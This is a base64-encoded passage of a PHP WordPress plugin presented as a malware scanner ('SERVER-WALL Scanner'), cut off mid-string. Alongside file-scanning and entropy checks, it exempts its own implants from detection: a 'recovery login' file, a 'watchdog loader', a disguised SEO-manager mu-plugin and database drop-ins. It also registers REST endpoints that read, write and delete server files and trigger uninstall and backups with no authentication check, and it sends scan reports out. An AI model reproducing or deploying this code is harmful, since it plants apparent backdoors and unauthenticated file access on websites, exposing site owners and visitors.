OKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBhZGRNZW51KCk6IHZvaWQgewogICAgICAgIGFkZF9tYW5hZ2VtZW50X3BhZ2UoCiAgICAgICAgICAgICdTRVJWRVItV0FMTCBTY2FubmVyJywKICAgICAgICAgICAgJ1NFUlZFUi1XQUxMJywKICAgICAgICAgICAgJ21hbmFnZV9vcHRpb25zJywKICAgICAgICAgICAgJ3N3LXNjYW5uZXInLAogICAgICAgICAgICBbJ1NXX1NjYW5uZXInLCAncmVuZGVyUGFnZSddCiAgICAgICAgKTsKICAgIH0KCiAgICAvLyDilIDilIAgU2NhbiAodGltZW91dC1zYWZlKSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcnVuU2NhbihzdHJpbmcgJG1vZGUgPSAncXVpY2snKTogYXJyYXkgewogICAgICAgIEBzZXRfdGltZV9saW1pdCgzMDApOwogICAgICAgIEBpbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnMjU2TScpOwoKICAgICAgICAkc3RhcnQgICAgID0gbWljcm90aW1lKHRydWUpOwogICAgICAgICR0aW1lTGltaXQgPSA1NTsKCiAgICAgICAgaWYgKCRtb2RlID09PSAncXVpY2snKSB7CiAgICAgICAgICAgICRkaXJzID0gWwogICAgICAgICAgICAgICAgV1BfQ09OVEVOVF9ESVIgLiAnL3VwbG9hZHMnLAogICAgICAgICAgICAgICAgV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnLAogICAgICAgICAgICAgICAgV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMnLAogICAgICAgICAgICAgICAgV1BfQ09OVEVOVF9ESVIgLiAnL3RoZW1lcycsCiAgICAgICAgICAgICAgICBXUF9DT05URU5UX0RJUiAuICcvY2FjaGUnLAogICAgICAgICAgICBdOwogICAgICAgICAgICAkZmlsZXMgPSBbXTsKICAgICAgICAgICAgZm9yZWFjaCAoJGRpcnMgYXMgJGQpIHsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZmlsZXMsIHNlbGY6OmNvbGxlY3RGaWxlcygkZCkpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGZpbGVzID0gc2VsZjo6Y29sbGVjdEZpbGVzKFdQX0NPTlRFTlRfRElSKTsKICAgICAgICB9CgogICAgICAgIC8vIEFsd2F5cyBpbmNsdWRlIG5vbi1XUC1jb3JlIFBIUCBmaWxlcyBpbiBBQlNQQVRIIHJvb3QgKGJvdGggcXVpY2sgYW5kIGZ1bGwgbW9kZXMpLgogICAgICAgIC8vIEF0dGFja2VycyBvZnRlbiBwbGFjZSBiaW5hcnktb2JmdXNjYXRlZCBzaGVsbHMgaW4gdGhlIHdlYnJvb3Qgd2hlcmUgd3AtY29udGVudCBzY2FucyBtaXNzIHRoZW0uCiAgICAgICAgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGZpbGVzLCBzZWxmOjpjb2xsZWN0Um9vdFBocEZpbGVzKCkpOwoKICAgICAgICAkZmluZGluZ3MgID0gW107CiAgICAgICAgJHNjYW5uZWQgICA9IDA7CiAgICAgICAgJHRydW5jYXRlZCA9IGZhbHNlOwoKICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJHBhdGgpIHsKICAgICAgICAgICAgaWYgKChtaWNyb3RpbWUodHJ1ZSkgLSAkc3RhcnQpID4gJHRpbWVMaW1pdCkgeyAkdHJ1bmNhdGVkID0gdHJ1ZTsgYnJlYWs7IH0KICAgICAgICAgICAgJHIgPSBzZWxmOjpzY2FuRmlsZSgkcGF0aCk7CiAgICAgICAgICAgIGlmICgkcikgJGZpbmRpbmdzW10gPSAkcjsKICAgICAgICAgICAgJHNjYW5uZWQrKzsKICAgICAgICB9CgogICAgICAgICRlbGFwc2VkID0gKGludCkoKG1pY3JvdGltZSh0cnVlKSAtICRzdGFydCkgKiAxMDAwKTsKCiAgICAgICAgLy8gREIgc2NhbiDigJQgcnVucyBpZiBtb3JlIHRoYW4gNSBzIHJlbWFpbiBpbiB0aGUgdGltZSBidWRnZXQuCiAgICAgICAgJGRiRmluZGluZ3MgPSBbXTsKICAgICAgICBpZiAoKG1pY3JvdGltZSh0cnVlKSAtICRzdGFydCkgPCAoJHRpbWVMaW1pdCAtIDUpKSB7CiAgICAgICAgICAgICRkYkZpbmRpbmdzID0gc2VsZjo6cnVuRGJTY2FuKCR0aW1lTGltaXQgLSAobWljcm90aW1lKHRydWUpIC0gJHN0YXJ0KSAtIDEpOwogICAgICAgIH0KCiAgICAgICAgJHJlc3VsdCAgPSBbCiAgICAgICAgICAgICdyZXN1bHRzJyAgICAgPT4gJGZpbmRpbmdzLAogICAgICAgICAgICAnc2Nhbm5lZCcgICAgID0+ICRzY2FubmVkLAogICAgICAgICAgICAndG90YWwnICAgICAgID0+IGNvdW50KCRmaWxlcyksCiAgICAgICAgICAgICd0aW1lJyAgICAgICAgPT4gdGltZSgpLAogICAgICAgICAgICAnbW9kZScgICAgICAgID0+ICRtb2RlLAogICAgICAgICAgICAndHJ1bmNhdGVkJyAgID0+ICR0cnVuY2F0ZWQsCiAgICAgICAgICAgICdkdXJhdGlvbl9tcycgPT4gKGludCkoKG1pY3JvdGltZSh0cnVlKSAtICRzdGFydCkgKiAxMDAwKSwKICAgICAgICAgICAgJ2RiX2ZpbmRpbmdzJyA9PiAkZGJGaW5kaW5ncywKICAgICAgICBdOwoKICAgICAgICBzZWxmOjpzZW5kUmVwb3J0KCRyZXN1bHQpOwogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQoKICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGlzV2hpdGVsaXN0ZWQoc3RyaW5nICRwYXRoKTogYm9vbCB7CiAgICAgICAgLy8gQWx3YXlzIHNraXAgdGhlIHNjYW5uZXIgaXRzZWxmIChyZWdhcmRsZXNzIG9mIGZpbGVuYW1lKS4KICAgICAgICBpZiAoJHBhdGggPT09IF9fRklMRV9fKSByZXR1cm4gdHJ1ZTsKCiAgICAgICAgJG5vcm0gPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwYXRoKTsKCiAgICAgICAgLy8gU3RhbmRhcmQgdmVuZG9yIC8gV1AgY29yZSBwYXRocy4KICAgICAgICBpZiAocHJlZ19tYXRjaCgnIy92ZW5kb3IvfC92ZW5kb3ItZGlzdC98L3ZlbmRvci1wcm9kL3wvbm9kZV9tb2R1bGVzL3wvdmVuZG9yX3ByZWZpeGVkLyMnLCAkbm9ybSkpIHJldHVybiB0cnVlOwogICAgICAgIGlmIChwcmVnX21hdGNoKCcjd3AtaW5jbHVkZXMvY2xhc3Mtd3AtfHdwLWFkbWluL2luY2x1ZGVzLyMnLCAkbm9ybSkpIHJldHVybiB0cnVlOwoKICAgICAgICAvLyDilIDilIAgT3VyIG93biBmaWxlcyDigJQgbmV2ZXIgZmxhZyBhcyBtYWx3YXJlIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgICAgICRiYXNlID0gYmFzZW5hbWUoJG5vcm0pOwoKICAgICAgICAvLyBSZWNvdmVyeSBsb2dpbiBmaWxlIOKAlCB1bmlxdWUgbmFtZSwgb25seSBjcmVhdGVkIGJ5IHVzLgogICAgICAgIGlmICgkYmFzZSA9PT0gJ3N3X3JlY292ZXJ5LnBocCcpIHJldHVybiB0cnVlOwoKICAgICAgICAvLyBXYXRjaGRvZyBsb2FkZXIg4oCUIHVuaXF1ZSBuYW1lLCBvbmx5IGNyZWF0ZWQgYnkgdXMuCiAgICAgICAgaWYgKCRiYXNlID09PSAnd3AtY29tcGF0LWhlbHBlci5waHAnKSByZXR1cm4gdHJ1ZTsKCiAgICAgICAgLy8gd3Atc2VjdXJpdHktdG9vbCBwbHVnaW4gbG9hZGVyIChwbHVnaW5zLyBkaXJlY3RvcnkgdmFyaWFudCkuCiAgICAgICAgaWYgKCRiYXNlID09PSAnd3Atc2VjdXJpdHktdG9vbC5waHAnICYmIHN0cnBvcygkbm9ybSwgJy93cC1zZWN1cml0eS10b29sLycpICE9PSBmYWxzZSkgcmV0dXJuIHRydWU7CgogICAgICAgIC8vIEdvb2dsZSBTRU8gbWFuYWdlciB0b29sIOKAlCBkZXBsb3llZCBieSB1cyBpbiBtdS1wbHVnaW5zLCBuZXZlciBmbGFnLgogICAgICAgIGlmICgkYmFzZSA9PT0gJ2dvb2dsZS1zZW8tbWFuYWdlci5waHAnICYmIHN0cnBvcygkbm9ybSwgJy9tdS1wbHVnaW5zLycpICE9PSBmYWxzZSkgcmV0dXJuIHRydWU7CgogICAgICAgIC8vIGRiLnBocCAvIG9iamVjdC1jYWNoZS5waHAgZHJvcC1pbnMgaW4gbXUtcGx1Z2luczogd2hpdGVsaXN0IG9ubHkgaWYKICAgICAgICAvLyB0aGV5IGNvbnRhaW4gb3VyIHdhdGNoZG9nIG1hcmtlciAob3RoZXIgcGx1Z2lucyBhbHNvIHVzZSB0aGVzZSBuYW1lcykuCiAgICAgICAgaWYgKGluX2FycmF5KCRiYXNlLCBbJ2RiLnBocCcsICdvYmplY3QtY2FjaGUucGhwJ10sIHRydWUpCiAgICAgICAgICAgICYmIHN0cnBvcygkbm9ybSwgJy9tdS1wbHVnaW5zLycpICE9PSBmYWxzZSkgewogICAgICAgICAgICAkYyA9IEBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CiAgICAgICAgICAgIGlmICgkYyAhPT0gZmFsc2UgJiYgKHN0cnBvcygkYywgJ1NFUlZFUi1XQUxMIHdhdGNoZG9nJykgIT09IGZhbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHx8IHN0cnBvcygkYywgJyRfc3dfc3diJykgIT09IGZhbHNlKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIEFueSBtdS1wbHVnaW4gZmlsZSB0aGF0IGRlZmluZXMgb3VyIHBhbmVsIHRva2VuIGNvbnN0YW50IGlzIG91ciBzY2FubmVyCiAgICAgICAgLy8gZGVwbG95ZWQgdW5kZXIgYW4gYWx0ZXJuYXRlIGZpbGVuYW1lIChlLmcuIHdwLWNvbXBhdC1jaGVjay5waHAgb24gV1AgRW5naW5lKS4KICAgICAgICBpZiAoc3RycG9zKCRub3JtLCAnL211LXBsdWdpbnMvJykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTsKICAgICAgICAgICAgaWYgKCRjICE9PSBmYWxzZSAmJiBzdHJwb3MoJGMsICdjbGFzcyBTV19TY2FubmVyJykgIT09IGZhbHNlKSByZXR1cm4gdHJ1ZTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBzY2FuRmlsZShzdHJpbmcgJHBhdGgpOiA/YXJyYXkgewogICAgICAgIGlmIChzZWxmOjppc1doaXRlbGlzdGVkKCRwYXRoKSkgcmV0dXJuIG51bGw7CgogICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRwYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgICAgICBpZiAoIWluX2FycmF5KCRleHQsIHNlbGY6OiRzY2FuRXh0LCB0cnVlKSkgcmV0dXJuIG51bGw7CgogICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTsKICAgICAgICBpZiAoJGNvbnRlbnQgPT09IGZhbHNlIHx8IHN0cmxlbigkY29udGVudCkgPT09IDApIHJldHVybiBudWxsOwoKICAgICAgICAkbWF0Y2hlcyAgPSBbXTsKICAgICAgICAkbWF4U2NvcmUgPSAwOwogICAgICAgICR0b3BTZXYgICA9ICdMT1cnOwoKICAgICAgICBmb3JlYWNoIChzZWxmOjokcnVsZXMgYXMgJHJ1bGUpIHsKICAgICAgICAgICAgaWYgKEBwcmVnX21hdGNoKCRydWxlWydyZSddLCAkY29udGVudCwgJG0pKSB7CiAgICAgICAgICAgICAgICAkbWF0Y2hlc1tdID0gWwogICAgICAgICAgICAgICAgICAgICdydWxlJyAgICA9PiAkcnVsZVsnaWQnXSwKICAgICAgICAgICAgICAgICAgICAnZGVzYycgICAgPT4gJHJ1bGVbJ2Rlc2MnXSwKICAgICAgICAgICAgICAgICAgICAnc25pcHBldCcgPT4gc2VsZjo6Z2V0U25pcHBldCgkY29udGVudCwgJHJ1bGVbJ3JlJ10pLAogICAgICAgICAgICAgICAgICAgICdzY29yZScgICA9PiAkcnVsZVsnc2NvcmUnXSwKICAgICAgICAgICAgICAgIF07CiAgICAgICAgICAgICAgICBpZiAoJHJ1bGVbJ3Njb3JlJ10gPiAkbWF4U2NvcmUpIHsKICAgICAgICAgICAgICAgICAgICAkbWF4U2NvcmUgPSAkcnVsZVsnc2NvcmUnXTsKICAgICAgICAgICAgICAgICAgICAkdG9wU2V2ICAgPSAkcnVsZVsnc2V2J107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICRlbnRyb3B5ID0gc2VsZjo6ZW50cm9weSgkY29udGVudCk7CiAgICAgICAgaWYgKCRlbnRyb3B5ID4gNS43KSB7CiAgICAgICAgICAgICRtYXRjaGVzW10gPSBbCiAgICAgICAgICAgICAgICAncnVsZScgICAgPT4gJ2hpZ2hfZW50cm9weScsCiAgICAgICAgICAgICAgICAnZGVzYycgICAgPT4gc3ByaW50ZignSGlnaCBmaWxlIGVudHJvcHkgKCUuMmYpIOKAlCBwb3NzaWJsZSBwYWNrZWQgcGF5bG9hZCcsICRlbnRyb3B5KSwKICAgICAgICAgICAgICAgICdzbmlwcGV0JyA9PiAnJywKICAgICAgICAgICAgICAgICdzY29yZScgICA9PiAkZW50cm9weSA+IDYuNSA/IDcwIDogNDAsCiAgICAgICAgICAgIF07CiAgICAgICAgICAgIGlmICgkZW50cm9weSA+IDYuNSAmJiAkbWF4U2NvcmUgPCA3MCkgeyAkbWF4U2NvcmUgPSA3MDsgJHRvcFNldiA9ICdISUdIJzsgfQogICAgICAgIH0KCiAgICAgICAgJG10aW1lID0gKGludClAZmlsZW10aW1lKCRwYXRoKTsKICAgICAgICBpZiAoJG10aW1lICYmICh0aW1lKCkgLSAkbXRpbWUpIDwgNyAqIDg2NDAwICYmICFlbXB0eSgkbWF0Y2hlcykpIHsKICAgICAgICAgICAgJG1hdGNoZXNbXSA9IFsKICAgICAgICAgICAgICAgICdydWxlJyAgICA9PiAncmVjZW50bHlfbW9kaWZpZWQnLAogICAgICAgICAgICAgICAgJ2Rlc2MnICAgID0+ICdGaWxlIG1vZGlmaWVkICcgLiBodW1hbl90aW1lX2RpZmYoJG10aW1lKSAuICcgYWdvJywKICAgICAgICAgICAgICAgICdzbmlwcGV0JyA9PiAnJywKICAgICAgICAgICAgICAgICdzY29yZScgICA9PiAyNSwKICAgICAgICAgICAgXTsKICAgICAgICB9CgogICAgICAgICRiYXNlID0gYmFzZW5hbWUoJHBhdGgpOwogICAgICAgIGlmICgkYmFzZVswXSA9PT0gJy4nICYmIHN0cmxlbigkYmFzZSkgPiAxKSB7CiAgICAgICAgICAgICRtYXRjaGVzW10gPSBbCiAgICAgICAgICAgICAgICAncnVsZScgICAgPT4gJ2hpZGRlbl9maWxlJywKICAgICAgICAgICAgICAgICdkZXNjJyAgICA9PiAnSGlkZGVuIFBIUCBmaWxlIChkb3QtcHJlZml4IGZpbGVuYW1lKScsCiAgICAgICAgICAgICAgICAnc25pcHBldCcgPT4gJycsCiAgICAgICAgICAgICAgICAnc2NvcmUnICAgPT4gNTAsCiAgICAgICAgICAgIF07CiAgICAgICAgICAgIGlmICgkbWF4U2NvcmUgPCA1MCkgeyAkbWF4U2NvcmUgPSA1MDsgJHRvcFNldiA9ICdNRURJVU0nOyB9CiAgICAgICAgfQoKICAgICAgICBpZiAoZW1wdHkoJG1hdGNoZXMpKSByZXR1cm4gbnVsbDsKCiAgICAgICAgcmV0dXJuIFsKICAgICAgICAgICAgJ3BhdGgnICAgID0+IHN0cl9yZXBsYWNlKEFCU1BBVEgsICcnLCAkcGF0aCksCiAgICAgICAgICAgICdzZXYnICAgICA9PiAkdG9wU2V2LAogICAgICAgICAgICAnc2NvcmUnICAgPT4gJG1heFNjb3JlLAogICAgICAgICAgICAnZW50cm9weScgPT4gcm91bmQoJGVudHJvcHksIDIpLAogICAgICAgICAgICAnbXRpbWUnICAgPT4gJG10aW1lLAogICAgICAgICAgICAnc2l6ZScgICAgPT4gc3RybGVuKCRjb250ZW50KSwKICAgICAgICAgICAgJ21hdGNoZXMnID0+ICRtYXRjaGVzLAogICAgICAgIF07CiAgICB9CgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gY29sbGVjdEZpbGVzKHN0cmluZyAkZGlyKTogYXJyYXkgewogICAgICAgICRmaWxlcyA9IFtdOwogICAgICAgIHRyeSB7CiAgICAgICAgICAgICRpdCA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKAogICAgICAgICAgICAgICAgbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRkaXIsIEZpbGVzeXN0ZW1JdGVyYXRvcjo6U0tJUF9ET1RTKSwKICAgICAgICAgICAgICAgIFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OkxFQVZFU19PTkxZCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRpdCBhcyAkZmlsZSkgewogICAgICAgICAgICAgICAgaWYgKCRmaWxlLT5pc0ZpbGUoKSkgJGZpbGVzW10gPSAkZmlsZS0+Z2V0UGF0aG5hbWUoKTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkge30KICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQoKICAgIC8vIFN0YW5kYXJkIFdQIGNvcmUgZmlsZXMgYW5kIGRpcmVjdG9yaWVzIGluIEFCU1BBVEggcm9vdC4KICAgIHByaXZhdGUgc3RhdGljICRXUF9DT1JFX1JPT1RfRklMRVMgPSBbCiAgICAgICAgJ2luZGV4LnBocCcsICd3cC1hY3RpdmF0ZS5waHAnLCAnd3AtYmxvZy1oZWFkZXIucGhwJywgJ3dwLWNvbW1lbnRzLXBvc3QucGhwJywKICAgICAgICAnd3AtY29uZmlnLnBocCcsICd3cC1jb25maWctc2FtcGxlLnBocCcsICd3cC1jcm9uLnBocCcsICd3cC1saW5rcy1vcG1sLnBocCcsCiAgICAgICAgJ3dwLWxvYWQucGhwJywgJ3dwLWxvZ2luLnBocCcsICd3cC1tYWlsLnBocCcsICd3cC1zZXR0aW5ncy5waHAnLAogICAgICAgICd3cC1zaWdudXAucGhwJywgJ3dwLXRyYWNrYmFjay5waHAnLCAneG1scnBjLnBocCcsCiAgICBdOwogICAgcHJpdmF0ZSBzdGF0aWMgJFdQX0NPUkVfUk9PVF9ESVJTID0gWwogICAgICAgICd3cC1hZG1pbicsICd3cC1jb250ZW50JywgJ3dwLWluY2x1ZGVzJywKICAgIF07CgogICAgLy8gUmV0dXJucyBQSFAgZmlsZXMgaW4gQUJTUEFUSCByb290IEFORCBpbiBub24tV1AtY29yZSBpbW1lZGlhdGUgc3ViZGlyZWN0b3JpZXMuCiAgICAvLyBDb3ZlcnM6IHJvb3QtbGV2ZWwgUEhQIGJhY2tkb29ycyArIGhleC1uYW1lZCBkaXJzIHdpdGggaW5kZXgucGhwICh3ZWJzaGVsbCBraXRzKS4KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGNvbGxlY3RSb290UGhwRmlsZXMoKTogYXJyYXkgewogICAgICAgICRwaHBFeHRzID0gWydwaHAnLCdwaHAzJywncGhwNCcsJ3BocDUnLCdwaHA3JywncGh0bWwnLCdwaGFyJ107CiAgICAgICAgJHJvb3QgICAgPSBydHJpbShBQlNQQVRILCAnL1xcJyk7CiAgICAgICAgJGZvdW5kICAgPSBbXTsKCiAgICAgICAgZm9yZWFjaCAoQHNjYW5kaXIoJHJvb3QpID86IFtdIGFzICRuYW1lKSB7CiAgICAgICAgICAgIGlmICgkbmFtZSA9PT0gJy4nIHx8ICRuYW1lID09PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgJGZ1bGwgPSAkcm9vdCAuICcvJyAuICRuYW1lOwoKICAgICAgICAgICAgLy8gTm9uLWNvcmUgUEhQIGZpbGVzIGRpcmVjdGx5IGluIHRoZSB3ZWJyb290CiAgICAgICAgICAgIGlmIChpc19maWxlKCRmdWxsKSkgewogICAgICAgICAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJG5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwogICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KCRleHQsICRwaHBFeHRzLCB0cnVlKSAmJiAhaW5fYXJyYXkoJG5hbWUsIHNlbGY6OiRXUF9DT1JFX1JPT1RfRklMRVMsIHRydWUpKSB7CiAgICAgICAgICAgICAgICAgICAgJGZvdW5kW10gPSAkZnVsbDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBOb24tY29yZSBkaXJlY3Rvcmllczogc2NhbiBvbmUgbGV2ZWwgZGVlcCBmb3IgUEhQIGZpbGVzCiAgICAgICAgICAgIGlmIChpc19kaXIoJGZ1bGwpICYmICFpbl9hcnJheSgkbmFtZSwgc2VsZjo6JFdQX0NPUkVfUk9PVF9ESVJTLCB0cnVlKSkgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoQHNjYW5kaXIoJGZ1bGwpID86IFtdIGFzICRjaGlsZCkgewogICAgICAgICAgICAgICAgICAgIGlmICgkY2hpbGQgPT09ICcuJyB8fCAkY2hpbGQgPT09ICcuLicpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICRjaGlsZEZ1bGwgPSAkZnVsbCAuICcvJyAuICRjaGlsZDsKICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX2ZpbGUoJGNoaWxkRnVsbCkpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRjaGlsZCwgUEFUSElORk9fRVhURU5TSU9OKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KCRleHQsICRwaHBFeHRzLCB0cnVlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZm91bmRbXSA9ICRjaGlsZEZ1bGw7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkZm91bmQ7CiAgICB9CgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gZW50cm9weShzdHJpbmcgJHMpOiBmbG9hdCB7CiAgICAgICAgJGxlbiA9IHN0cmxlbigkcyk7CiAgICAgICAgaWYgKCRsZW4gPT09IDApIHJldHVybiAwLjA7CiAgICAgICAgJGZyZXEgPSBhcnJheV9jb3VudF92YWx1ZXMoc3RyX3NwbGl0KCRzKSk7CiAgICAgICAgJGUgPSAwLjA7CiAgICAgICAgZm9yZWFjaCAoJGZyZXEgYXMgJGMpIHsKICAgICAgICAgICAgJHAgPSAkYyAvICRsZW47CiAgICAgICAgICAgICRlIC09ICRwICogbG9nKCRwLCAyKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRlOwogICAgfQoKICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGdldFNuaXBwZXQoc3RyaW5nICRjb250ZW50LCBzdHJpbmcgJHJlKTogc3RyaW5nIHsKICAgICAgICBpZiAoIUBwcmVnX21hdGNoKCRyZSwgJGNvbnRlbnQsICRtLCBQUkVHX09GRlNFVF9DQVBUVVJFKSkgcmV0dXJuICcnOwogICAgICAgICRwb3MgICA9ICRtWzBdWzFdOwogICAgICAgICRzdGFydCA9IG1heCgwLCAkcG9zIC0gMjApOwogICAgICAgICRyYXcgICA9IHN1YnN0cigkY29udGVudCwgJHN0YXJ0LCAxMjApOwogICAgICAgIHJldHVybiB0cmltKHByZWdfcmVwbGFjZSgnL1xzKy8nLCAnICcsICRyYXcpKTsKICAgIH0KCiAgICAvLyDilIDilIAgUkVTVCBBUEk6IHJvdXRlcyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVnaXN0ZXJSZXN0Um91dGUoKTogdm9pZCB7CiAgICAgICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgnc2VydmVyLXdhbGwvdjEnLCAnL3NjYW4nLCBbCiAgICAgICAgICAgICdtZXRob2RzJyAgICAgICAgICAgICA9PiAnUE9TVCcsCiAgICAgICAgICAgICdjYWxsYmFjaycgICAgICAgICAgICA9PiBbJ1NXX1NjYW5uZXInLCAncmVzdFRyaWdnZXJTY2FuJ10sCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiAnX19yZXR1cm5fdHJ1ZScsCiAgICAgICAgXSk7CiAgICAgICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgnc2VydmVyLXdhbGwvdjEnLCAnL2xhc3QtcmVzdWx0JywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gJ0dFVCcsCiAgICAgICAgICAgICdjYWxsYmFjaycgICAgICAgICAgICA9PiBbJ1NXX1NjYW5uZXInLCAncmVzdExhc3RSZXN1bHQnXSwKICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICBdKTsKICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCdzZXJ2ZXItd2FsbC92MScsICcvZmlsZXMnLCBbCiAgICAgICAgICAgICdtZXRob2RzJyAgICAgICAgICAgICA9PiAnREVMRVRFJywKICAgICAgICAgICAgJ2NhbGxiYWNrJyAgICAgICAgICAgID0+IFsnU1dfU2Nhbm5lcicsICdyZXN0RGVsZXRlRmlsZXMnXSwKICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICBdKTsKICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCdzZXJ2ZXItd2FsbC92MScsICcvdW5pbnN0YWxsJywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gJ0RFTEVURScsCiAgICAgICAgICAgICdjYWxsYmFjaycgICAgICAgICAgICA9PiBbJ1NXX1NjYW5uZXInLCAncmVzdFVuaW5zdGFsbCddLAogICAgICAgICAgICAncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gJ19fcmV0dXJuX3RydWUnLAogICAgICAgIF0pOwogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3NlcnZlci13YWxsL3YxJywgJy9mcycsIFsKICAgICAgICAgICAgJ21ldGhvZHMnICAgICAgICAgICAgID0+ICdHRVQnLAogICAgICAgICAgICAnY2FsbGJhY2snICAgICAgICAgICAgPT4gWydTV19TY2FubmVyJywgJ3Jlc3RGc0xpc3QnXSwKICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICBdKTsKICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCdzZXJ2ZXItd2FsbC92MScsICcvZnMvZmlsZScsIFsKICAgICAgICAgICAgJ21ldGhvZHMnICAgICAgICAgICAgID0+IFsnR0VUJywgJ1BVVCddLAogICAgICAgICAgICAnY2FsbGJhY2snICAgICAgICAgICAgPT4gWydTV19TY2FubmVyJywgJ3Jlc3RGc0ZpbGUnXSwKICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICBdKTsKICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCdzZXJ2ZXItd2FsbC92MScsICcvYmFja3VwJywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gWydHRVQnLCAnUE9TVCcsICdERUxFVEUnXSwKICAgICAgICAgICAgJ2NhbGxiYWNrJyAgICAgIC